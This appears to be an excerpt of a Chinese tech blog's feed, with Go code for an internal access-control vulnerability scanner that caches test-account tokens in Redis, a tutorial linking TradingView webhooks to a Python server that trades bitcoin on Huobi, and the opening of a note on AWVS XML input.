class="string">"github.com/go-redis/redis"</span></span><br><span class="line"><span class="string">"github.com/imroc/req"</span></span><br><span class="line"><span class="string">"github.com/jakecoffman/cron"</span></span><br><span class="line"><span class="string">"io"</span></span><br><span class="line"><span class="string">"log"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> cookieMT <span class="keyword">struct</span> &#123;</span><br><span class="line"><span class="comment">//ssoOnlineURL  string</span></span><br><span class="line">ssoOfflineURL <span class="keyword">string</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> tokenMT <span class="keyword">struct</span> &#123;</span><br><span class="line">tokenOfflineURL <span class="keyword">string</span>  <span class="comment">// 线下C端用户中心passport生成token地址</span></span><br><span class="line">expenses <span class="keyword">string</span> <span class="comment">// 生活费，已授信，未借款 账号</span></span><br><span class="line">diversion <span class="keyword">string</span> <span class="comment">// 已开通助贷（马上），未借款 账号</span></span><br><span class="line">instalment <span class="keyword">string</span> <span class="comment">// 已开通分期，未借款 账号</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取线下环境ssoid的值</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(c cookieMT)</span> <span class="title">Runssoff</span><span class="params">()</span> <span class="params">(<span class="keyword">string</span>, error)</span></span> &#123;</span><br><span class="line"><span class="keyword">var</span> resp <span class="keyword">map</span>[<span class="keyword">string</span>]<span class="keyword">interface</span>&#123;&#125;</span><br><span class="line"><span class="comment">// Request请求开始</span></span><br><span class="line">r, err := req.Get(c.ssoOfflineURL) <span class="comment">// 线下sso地址</span></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(<span class="string">"SSO Offline URL request failed:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">err = r.ToJSON(&amp;resp)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(<span class="string">"SSO Offline URL response r.ToJSON failed:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// interface convert to string</span></span><br><span class="line"><span class="keyword">if</span> resp[<span class="string">"data"</span>] == <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">"null"</span>, errors.New(<span class="string">"获取线下ssoid为空"</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> resp[<span class="string">"data"</span>].(<span class="keyword">string</span>), <span class="literal">nil</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(t tokenMT)</span> <span class="title">Runtokenoff</span><span class="params">(phone <span class="keyword">string</span>)</span> <span class="params">(<span class="keyword">string</span>, error)</span></span>&#123;</span><br><span class="line"><span class="comment">// Request请求开始</span></span><br><span class="line">r, err := req.Get(t.tokenOfflineURL+phone) <span class="comment">// 线下sso地址</span></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(<span class="string">"Token Offline URL request failed:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">resp := r.String()</span><br><span class="line"><span class="keyword">return</span> resp, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 存线下的ssoid到reids里</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">redisSsoOff</span><span class="params">(client *redis.Client, key <span class="keyword">string</span>, ssoid <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">setStatus := client.Set(key, ssoid, <span class="number">0</span>)</span><br><span class="line">Info.Println(<span class="string">"redis setStatus:"</span>, setStatus)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">redisTokenOff</span><span class="params">(client *redis.Client, key <span class="keyword">string</span>, ssoid <span class="keyword">string</span>)</span></span> &#123;</span><br><span class="line">setStatus := client.Set(key, ssoid, <span class="number">0</span>)</span><br><span class="line">Info.Println(<span class="string">"redis setStatus:"</span>, setStatus)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> mainCron *cron.Cron</span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义日志全局变量</span></span><br><span class="line"><span class="keyword">var</span> (</span><br><span class="line">Info    *log.Logger</span><br><span class="line">Warning *log.Logger</span><br><span class="line">Error   *log.Logger</span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 日志初始化配置</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">init</span><span class="params">()</span></span> &#123;</span><br><span class="line">errFile, err := os.OpenFile(<span class="string">"errors.log"</span>, os.O_CREATE|os.O_WRONLY|os.O_APPEND, <span class="number">0666</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">log.Fatalln(<span class="string">"打开日志文件失败："</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Info = log.New(os.Stdout, <span class="string">"Info:"</span>, log.Ldate|log.Ltime|log.Lshortfile)</span><br><span class="line">Warning = log.New(os.Stdout, <span class="string">"Warning:"</span>, log.Ldate|log.Ltime|log.Lshortfile)</span><br><span class="line">Error = log.New(io.MultiWriter(os.Stderr, errFile), <span class="string">"Error:"</span>, log.Ldate|log.Ltime|log.Lshortfile)</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">redisTask</span><span class="params">()</span></span> &#123;</span><br><span class="line"></span><br><span class="line">cookies := cookieMT&#123;</span><br><span class="line"><span class="comment">//ssoOnlineURL:  "http://test.com/hahaservice/get?id=pirogue&amp;password=",</span></span><br><span class="line">ssoOfflineURL: <span class="string">"http://test.com/hahaservice/offline/get?id=pirogue&amp;password="</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tokens := tokenMT&#123;</span><br><span class="line">tokenOfflineURL: <span class="string">"http://gege.test.com/api/token?q="</span>,</span><br><span class="line">expenses:        <span class="string">"15xxxxxxxxx"</span>,</span><br><span class="line">diversion:       <span class="string">"13xxxxxxxxx"</span>,</span><br><span class="line">instalment:      <span class="string">"13xxxxxxxxx"</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 建立redis连接</span></span><br><span class="line">client := redis.NewClient(&amp;redis.Options&#123;</span><br><span class="line">Addr: <span class="string">"localhost:1234"</span>,</span><br><span class="line">Password: <span class="string">"xxxxxxxxxx"</span>,</span><br><span class="line">DB:       <span class="number">1</span>,</span><br><span class="line">&#125;)</span><br><span class="line">ping, err := client.Ping().Result()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(<span class="string">"Redis client connect failed ping status:"</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">Info.Println(<span class="string">"ping status:"</span>, ping)</span><br><span class="line"></span><br><span class="line"><span class="keyword">defer</span> client.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 请求线上接口获取ssoid</span></span><br><span class="line"><span class="comment">//ssoidOnline, err := cookies.Runssonline()</span></span><br><span class="line"><span class="comment">//if err != nil &#123;</span></span><br><span class="line"><span class="comment">//Error.Println(err)</span></span><br><span class="line"><span class="comment">//&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 请求线下接口获取ssoid</span></span><br><span class="line">ssoidOffline, err := cookies.Runssoff()</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tokenOfflineExpenses , err := tokens.Runtokenoff(tokens.expenses)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tokenOfflineDiversion , err := tokens.Runtokenoff(tokens.diversion)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">tokenOfflineInstalment , err := tokens.Runtokenoff(tokens.instalment)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">Error.Println(err)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">redisSsoOff(client, <span class="string">"ssoid-offline"</span>, ssoidOffline)</span><br><span class="line">redisTokenOff(client, <span class="string">"token-expenses"</span>, tokenOfflineExpenses)</span><br><span class="line">redisTokenOff(client, <span class="string">"token-diversion"</span>, tokenOfflineDiversion)</span><br><span class="line">redisTokenOff(client, <span class="string">"token-instalment"</span>, tokenOfflineInstalment)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">//redisSsoOn(client, "ssoid-online", ssoidOnline)</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">mainCron = cron.New()</span><br><span class="line"></span><br><span class="line"><span class="comment">// AddJob</span></span><br><span class="line">tasktime := <span class="string">"0 0 1 * * ?"</span>   <span class="comment">//每天凌晨1点</span></span><br><span class="line"><span class="comment">//tasktime := "0 0/1 * * * ? " //每2分钟</span></span><br><span class="line"></span><br><span class="line">mainCron.AddFunc(tasktime, redisTask, <span class="string">"ssopassport"</span>)</span><br><span class="line"></span><br><span class="line">mainCron.Start()</span><br><span class="line"><span class="keyword">select</span> &#123;&#125; <span class="comment">//阻塞主线程不退出</span></span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="扫描器后台"><a href="#扫描器后台" class="headerlink" title="扫描器后台"></a>扫描器后台</h3><p>扫描器后台是直接提供给用户使用的，所以产品的界面核心功能（漏洞展示）是否直观、使用是否繁琐、是否有使用上的技术门槛直接决定了这款产品最终能否能被终端客户所接受。</p><h4 id="为什么要提到“技术门槛”？"><a href="#为什么要提到“技术门槛”？" class="headerlink" title="为什么要提到“技术门槛”？"></a>为什么要提到“技术门槛”？</h4><p>在日常工作中，我发现不同的人对使用上的“技术门槛”的接受程度是不一样的，有人觉得“Burpsuite”门槛就十分高了。如果你的产品存在此类“技术门槛”，到最后只能成为摆设或通过外包服务的方式变相使用，最终成为自己人用的产品。</p><h4 id="核心功能是否直观？"><a href="#核心功能是否直观？" class="headerlink" title="核心功能是否直观？"></a>核心功能是否直观？</h4><p>在这个产品的设计过程中，核心功能就是越权漏洞的Response对比，如果能让人一眼看出哪些请求接口存在越权，那就成功了一半。但实际上我在使用的过程中虽然有“风险值”作为参考排序，通过肉眼判断对比response列表，点击列表展开仍然非常“繁琐”，甚至于接口太多导致手点的麻木了。后期为了设计一个人性化的界面，思考良久，也“偷窥”了一下行业内做的比较好的一家乙方产品，发现其类似功能也是需要点击列表进而查看漏洞比对的详情，所以这类核心功能要想最终能够较好的落地，是需要实践检验的，离不开开源交流和思想碰撞。</p><h4 id="Demo展示"><a href="#Demo展示" class="headerlink" title="Demo展示"></a>Demo展示</h4><p>后台代码就非常多了，后端使用gin作为Web框架，vue作为前端框架，最终我也将awvs这个主动扫描器作为被动扫描器的引擎加入到后端，包括同事用python写的扫描器轮子。</p><p><img src="/2020/12/14/bacscanner/createscan.jpg" alt="bacscanner"><br><img src="/2020/12/14/bacscanner/scan.jpeg" alt="bacscanner"></p><p>点击“创建目标”创建扫描任务，创建完成扫描目标后，点击“常规扫描”将调用awvs进行常规漏洞扫描；点击“越权扫描”对任务进行后端“替换cookie”的配置<br><img src="/2020/12/14/bacscanner/bacscan.jpeg" alt="bacscanner"></p><p>在弹窗的对话框中，选择是使用“SSO“的虚拟账号，还是选择”Passport“的“生活费”账号、生意贷账号等进行凭证的替换和删除。</p><p><img src="/2020/12/14/bacscanner/scan2.jpeg" alt="bacscanner"></p><p>可以看到风险值高的接口排在最上，其他字段还有host、method、url，是不是有点像web版本的burpsuite。点击蓝色的“结果”就会弹出3个Response的对比。如果这里的接口非常多，使用上将会非常麻烦，你就要点击上百次“结果”查看（今天工位的MAC触控板格外的烫手，富婆还是没有出现，我的心好累）。</p><p><img src="/2020/12/14/bacscanner/scan3.jpeg" alt="bacscanner"></p><h2 id="抛砖引玉"><a href="#抛砖引玉" class="headerlink" title="抛砖引玉"></a>抛砖引玉</h2><p>没有服务意识的网络安全爱好者不是一个好的打工人…如果想从用户体验、功能实用的角度出发设计一个好的越权扫描器显然我写的轮子是失败的，越到后面功能上的细节考虑的越多，越要贴合业务。比如用户账号这一块，从QA小姐姐那里调研才知道一个BU的业务线不同产品的用户体系也会不同，账号的授信与否决定了后面逻辑是可以请求成功。</p><p>畅想一下未来，也许越权扫描也会出现对应的场景规则，比如贷款类业务、打车类业务、保险类业务，比如身份证号、银行卡号、手机号，沉淀规则，打磨框架，自动化越权检测更通用和便捷。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;碎碎念&quot;&gt;&lt;a href=&quot;#碎碎念&quot; class=&quot;headerlink&quot; title=&quot;碎碎念&quot;&gt;&lt;/a&gt;碎碎念&lt;/h2&gt;&lt;p&gt;距离写这个小轮子已经过去半年多了，希望记录下来作为自己路上的一个沉淀，在行业里有人再次提起“越权扫描器”时能有一个从前端到后端、从代
      
    
    </summary>
    
      <category term="安全建设" scheme="http://pirogue.org/categories/%E5%AE%89%E5%85%A8%E5%BB%BA%E8%AE%BE/"/>
    
    
      <category term="golang" scheme="http://pirogue.org/tags/golang/"/>
    
      <category term="越权" scheme="http://pirogue.org/tags/%E8%B6%8A%E6%9D%83/"/>
    
      <category term="扫描器" scheme="http://pirogue.org/tags/%E6%89%AB%E6%8F%8F%E5%99%A8/"/>
    
  </entry>
  
  <entry>
    <title>币圈量化交易试水</title>
    <link href="http://pirogue.org/2020/06/24/quant/"/>
    <id>http://pirogue.org/2020/06/24/quant/</id>
    <published>2020-06-24T15:15:33.000Z</published>
    <updated>2020-06-28T03:17:02.446Z</updated>
    
    <content type="html"><![CDATA[<h2 id="说明"><a href="#说明" class="headerlink" title="说明"></a>说明</h2><p>去年杂七杂八看了一些量化交易的视频算是入了门。本地回测的库有Catalyst（基于zipline）、vnpy、Zipline。</p><p>这篇文章是一个简单的Tradingview（也可以回测）交易策略通过自己写的python web程序对接火币交易所进行现货买卖的demo。</p><p>简单来说：Tradingview webhook-&gt;python web-&gt; huobi</p><h2 id="步骤"><a href="#步骤" class="headerlink" title="步骤"></a>步骤</h2><h3 id="注册Tradingview"><a href="#注册Tradingview" class="headerlink" title="注册Tradingview"></a>注册Tradingview</h3><p><a href="https://cn.tradingview.com/" target="_blank" rel="noopener">https://cn.tradingview.com/</a></p><p>打开首页你就会发现很多别人已经写好的策略在进行展示，但这些策略往往应用于其他传统金融市场，而不是数字货币。而对于我这种不懂交易会写一点点代码的人只能用别人的策略在币圈进行回测优化。</p><h3 id="打开脚本页面"><a href="#打开脚本页面" class="headerlink" title="打开脚本页面"></a>打开脚本页面</h3><p><a href="https://cn.tradingview.com/scripts/" target="_blank" rel="noopener">https://cn.tradingview.com/scripts/</a></p><p><img src="/2020/06/24/quant/script.jpg" alt="script"></p><p>这个页面里就是所有的开源策略。</p><p>选其中一个你认为还不错的，进行我们下面关键的web hook设置。</p><p>我这里随便举个例子：<br>比如选SuperTrend策略,点“添加至收藏脚本”</p><p><img src="/2020/06/24/quant/script1.png" alt="script"></p><h3 id="点击图表按钮"><a href="#点击图表按钮" class="headerlink" title="点击图表按钮"></a>点击图表按钮</h3><p><img src="/2020/06/24/quant/chart.png" alt="script"></p><h3 id="选择btcusdt的图表布局"><a href="#选择btcusdt的图表布局" class="headerlink" title="选择btcusdt的图表布局"></a>选择btcusdt的图表布局</h3><p><img src="/2020/06/24/quant/btcusdt.png" alt="script"></p><p>左侧出现的就是btc的k线图</p><h3 id="选择收藏的脚本应用到图表上"><a href="#选择收藏的脚本应用到图表上" class="headerlink" title="选择收藏的脚本应用到图表上"></a>选择收藏的脚本应用到图表上</h3><p><img src="/2020/06/24/quant/1.png" alt="script"></p><p><img src="/2020/06/24/quant/2.png" alt="script"></p><p>点击“指标&amp;策略”,然后点击你收藏的“SuperTrend”策略脚本，这时你看图中的数字3那里，就出现了策略在盘面的走势应用图，比如箭头所指的sell，就是策略给的卖出信号。</p><p><img src="/2020/06/24/quant/3.png" alt="script"><br>看上图，没想到这个策略在今天还是挺准的，如果都在它给的点位买入卖出或者做多做空，应该是能赚到钱的。</p><p>注：本人没有用它做实盘策略，自己要用请自行评估。</p><h3 id="添加信号告警"><a href="#添加信号告警" class="headerlink" title="添加信号告警"></a>添加信号告警</h3><p>这一步是本篇文章的重点，就是如何使用tradingview的Webhook对接python web程序。tradingview我下文统一叫tv吧，太长了不好打字。</p><p><img src="/2020/06/24/quant/4.png" alt="script"></p><p>点击“警报”图标，会弹出一个对话框。</p><p><img src="/2020/06/24/quant/5.png" alt="script"></p><p>点击下拉，选中supertrend策略。</p><p><img src="/2020/06/24/quant/6.png" alt="script"></p><p>注意我红框里面选中的内容，第一个框是选策略，第二个框是策略的买入信号（待会儿我们还要创建一个卖出信号的警告），第三个框是“每根K线一次”，简单的解释就是可以一直跑，一旦符合指标就提示，其他的选项就是用一次就停止了之类的，不过多解释了。最后点创建，如果不接入webhook的话，平时人工盯盘这样用就足够了。</p><p>但是量化重点在webhook，下面我们介绍如何接入它。</p><p>先给出python的web程序代码:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python3</span><br><span class="line"># -*- encoding: utf-8 -*-</span><br><span class="line">&apos;&apos;&apos;</span><br><span class="line">@File    :   huobi.py</span><br><span class="line">@Time    :   2020/01/10 00:07:06</span><br><span class="line">@Author  :   pirogue </span><br><span class="line">@Version :   1.0</span><br><span class="line">@Contact :   p1r06u3@gmail.com</span><br><span class="line">@License :   (C)Copyright 2019-2020, Pirogue</span><br><span class="line">@Desc    :   Tradingview webhook通知webserver对接火币交易所进行现货买卖 </span><br><span class="line">&apos;&apos;&apos;</span><br><span class="line"></span><br><span class="line">import ccxt</span><br><span class="line">import time</span><br><span class="line">import json</span><br><span class="line">import tornado.web</span><br><span class="line">import tornado.ioloop</span><br><span class="line"></span><br><span class="line">ex = ccxt.huobipro(&#123;</span><br><span class="line">    &apos;apiKey&apos;: &apos;填自己的&apos;,</span><br><span class="line">    &apos;secret&apos;: &apos;填自己的&apos;,</span><br><span class="line">    &apos;options&apos;: &#123;</span><br><span class="line">        &apos;createMarketBuyOrderRequiresPrice&apos;: False, # switch off</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">def get_assets():</span><br><span class="line">    btc_count = ex.fetch_balance()[&quot;BTC&quot;]</span><br><span class="line">    print(btc_count)</span><br><span class="line">    # 账户正在使用的btc</span><br><span class="line">    #btc_used = btc_count[&quot;used&quot;]</span><br><span class="line">    btc_free = btc_count[&quot;free&quot;]</span><br><span class="line">    return btc_free</span><br><span class="line"></span><br><span class="line">def sell_btc():</span><br><span class="line">    btc_count = get_assets()</span><br><span class="line">    symbol = &apos;BTC/USDT&apos;</span><br><span class="line">    ex.create_market_sell_order(symbol,btc_count)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">def buy_btc():</span><br><span class="line">    symbol = &apos;BTC/USDT&apos;</span><br><span class="line">    amount = 0.9      # BTC</span><br><span class="line">    price = 9000    # USDT</span><br><span class="line">    cost = amount*price</span><br><span class="line">    ex.createMarketBuyOrder(symbol, cost)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">class MainHandler(tornado.web.RequestHandler):</span><br><span class="line">    def get(self):</span><br><span class="line">        buy = self.get_arguments(&quot;buy&quot;)</span><br><span class="line">        sell = self.get_arguments(&quot;sell&quot;)</span><br><span class="line">        if buy:</span><br><span class="line">            buy_btc()</span><br><span class="line">        if sell:</span><br><span class="line">            sell_btc()</span><br><span class="line">        self.write(&quot;Hello,Tornado.&quot;)</span><br><span class="line">    def post(self):</span><br><span class="line">        buy = self.get_arguments(&quot;buy&quot;)</span><br><span class="line">        sell = self.get_arguments(&quot;sell&quot;)</span><br><span class="line">        if buy:</span><br><span class="line">            buy_btc()</span><br><span class="line">        if sell:</span><br><span class="line">            sell_btc()</span><br><span class="line">        self.write(&quot;Hello,Tornado.&quot;)</span><br><span class="line"># def make_app():</span><br><span class="line">#     return tornado.web.Application([</span><br><span class="line">#         (r&quot;/btc&quot;,MainHandler),</span><br><span class="line">#     ])</span><br><span class="line"> </span><br><span class="line">if __name__==&quot;__main__&quot;:</span><br><span class="line">    app = tornado.web.Application([(r&apos;/btc&apos;,MainHandler)])</span><br><span class="line">    app.listen(80)</span><br><span class="line">    tornado.ioloop.IOLoop.current().start()</span><br></pre></td></tr></table></figure><p>这段程序用到了两个python类库，一个是tornado做web，一个ccxt与交易所api对接。</p><blockquote><p>ccxt 是 github上最火热的加密货币交易库， 包含了近百个交易所api。支持 Python、JavaScript、PHP 三种语言调用。对于这个行业来说，各个交易所 API 签名方式、数据结构都不相同，如果一个个接入适配可以说费时费力，ccxt的出现解决了这个问题。</p></blockquote><p>简单来说ccxt就是把所有的交易所的各自不同的api接口都封装好了，你只要在代码里配置好自己交易所的api key，就可以用统一的函数去实现交易。这样的好处是辛辛苦苦写的策略代码，想移植到火币就改一下火币的api key，想移植到币安就改一下币安的key，其他代码根本不用动。</p><p>注：ccxt当前还没有封装火币的季度合约接口，想做合约量化交易的可能要等官方实现或者自己实现。做现货是没问题的。</p><p>上面这段程序如何运行：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python huobi.py</span><br></pre></td></tr></table></figure></p><p>这样就运行起来了，如果你要后台运行就<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup python huobi.py &amp;</span><br></pre></td></tr></table></figure></p><p>假设你的购买的服务器ip是123.123.123.123，当你运行之后，post请求<a href="http://123.123.123.123/btc?buy" target="_blank" rel="noopener">http://123.123.123.123/btc?buy</a><br>就会走到<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">def post(self):</span><br><span class="line">    buy = self.get_arguments(&quot;buy&quot;)</span><br><span class="line">    sell = self.get_arguments(&quot;sell&quot;)</span><br><span class="line">    if buy:</span><br><span class="line">        buy_btc()</span><br><span class="line">    if sell:</span><br><span class="line">        sell_btc()</span><br><span class="line">    self.write(&quot;Hello,Tornado.&quot;)</span><br></pre></td></tr></table></figure></p><p>函数里，程序判断post请求中有buy参数，那就执行buy_btc()，买入btc。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">def buy_btc():</span><br><span class="line">    symbol = &apos;BTC/USDT&apos;</span><br><span class="line">    amount = 0.9      # BTC</span><br><span class="line">    price = 9000    # USDT</span><br><span class="line">    cost = amount*price</span><br><span class="line">    ex.createMarketBuyOrder(symbol, cost)</span><br></pre></td></tr></table></figure><p>buy_btc函数里面我写的是以市价（createMarketBuyOrder）买入btc，可以去查一下这个函数createMarketBuyOrder。为什么是0.9*9000？因为我以市价买入时，只能买入这么多usdt的btc。买入逻辑需要你自己去设计，我这里只是当时的例子….</p><p>卖出跟买入的逻辑同理，可以自己看代码理解。web程序的运行逻辑就是如上所述。</p><p>怎么与webhook对接呢？看到上面其实已经很明显了，只要webhook可以请求我们服务器web程序的post接口带着buy或者sell参数就可以了。所以在webhook处配置<a href="http://123.123.123.123/btc?buy" target="_blank" rel="noopener">http://123.123.123.123/btc?buy</a></p><p><img src="/2020/06/24/quant/buy.png" alt="script"></p><p>点创建，就是一个配置了webhook的警报。这样在策略触发警报时就会执行警报配置里面的内容，比如触发Webhook。<br>注意Webhook触发请求时是POST请求，不是GET请求，我代码里面的get请求方法忽略就好。。POST请求里面还能携带下方表单里面设置的数据，这些我在demo里面就详细阐述了。</p><p>再创建一个卖出的警告，步骤跟上面创建警报的步骤是一样的，只是选的是相反的如下图，不再文字描述<br><img src="/2020/06/24/quant/sell.png" alt="script"></p><p>这样tv的webhook通知python对接交易所就做完了。</p><p>对了，Webhook功能是收费的，tv收费也有点小贵…</p><h2 id="币圈友情提示"><a href="#币圈友情提示" class="headerlink" title="币圈友情提示"></a>币圈友情提示</h2><p>“本是同根生，相煎何太急”，同是韭菜，我已经亏了小县城的半套房子的钱了。这个市场没有踏入的最好也别进来了，稳定的买买基金、保本理财还是挺香的，币圈到处都是庄家割你的镰刀。</p><p>上述代码只是demo，提供tv对接实盘的参考。tv也可以通过webhook对接fmz.com发明者量化交易平台。tv听说也有chrome插件之类的对接啥啥的。</p><p>我现在已经不是这种略显笨拙的方法去回测，去对接实盘。</p><p>因为不懂金融也不懂交易，我跟朋友通过tv上或者网络上别人开源的策略进行优化，然后把tv上用pine script语言写的脚本改写成python，在fmz上回测更精准，在fmz上对接实盘更容易一些，如此拾人牙慧（好可怜）～</p><p><img src="/2020/06/24/quant/dog.jpg" alt="script"><br><img src="/2020/06/24/quant/j8.jpg" alt="script"><br><img src="/2020/06/24/quant/btc.jpg" alt="script"></p><p>钱没赚到，表情倒是收藏了一大堆！我还有几个难兄难弟等着我的策略上车致富呢～不说了，先跑个半年看看…</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;说明&quot;&gt;&lt;a href=&quot;#说明&quot; class=&quot;headerlink&quot; title=&quot;说明&quot;&gt;&lt;/a&gt;说明&lt;/h2&gt;&lt;p&gt;去年杂七杂八看了一些量化交易的视频算是入了门。本地回测的库有Catalyst（基于zipline）、vnpy、Zipline。&lt;/p&gt;
&lt;p
      
    
    </summary>
    
      <category term="量化交易" scheme="http://pirogue.org/categories/%E9%87%8F%E5%8C%96%E4%BA%A4%E6%98%93/"/>
    
    
      <category term="btc" scheme="http://pirogue.org/tags/btc/"/>
    
      <category term="量化交易" scheme="http://pirogue.org/tags/%E9%87%8F%E5%8C%96%E4%BA%A4%E6%98%93/"/>
    
  </entry>
  
  <entry>
    <title>被动扫描器研发（1）：golang生成cdata xml格式数据</title>
    <link href="http://pirogue.org/2020/02/22/golangxml/"/>
    <id>http://pirogue.org/2020/02/22/golangxml/</id>
    <published>2020-02-22T11:34:33.000Z</published>
    <updated>2020-12-14T08:25:52.946Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>我已经把awvs变成了被动扫描器引擎，其中一些关键环节，我会做一些总结以笔记形式发出来。</p><p>awvs可以通过导入burpsuite的导出xml文件作为被动扫描器流量的流量输入，它还可以接收如下所述的数据格式</p><blockquote><p>Accepted formats include text file with a list of URLs (<em>.txt), Fiddler session archives (</em>.saz), Swagger files (<em>.json, </em>.yaml or <em>.yml), Web Services Definition Files (</em>.wsdl), BURP saved files (<em>.xml) and state files, Selenium (</em>.html, <em>.side), Web Application Description Language (</em>.wadl), ASP.NET Web Forms Project Files (<em>.csproj, </em>.vbproj), Paros log files (<em>.session.data), Postman Collections v2 (</em>.json) or HTTP archive files (*.har)</p></blockquote><h2 id="原burpsuite-xml导出数据格式"><a href="#原burpsuite-xml导出数据格式" class="headerlink" title="原burpsuite xml导出数据格式"></a>原burpsuite xml导出数据格式</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span 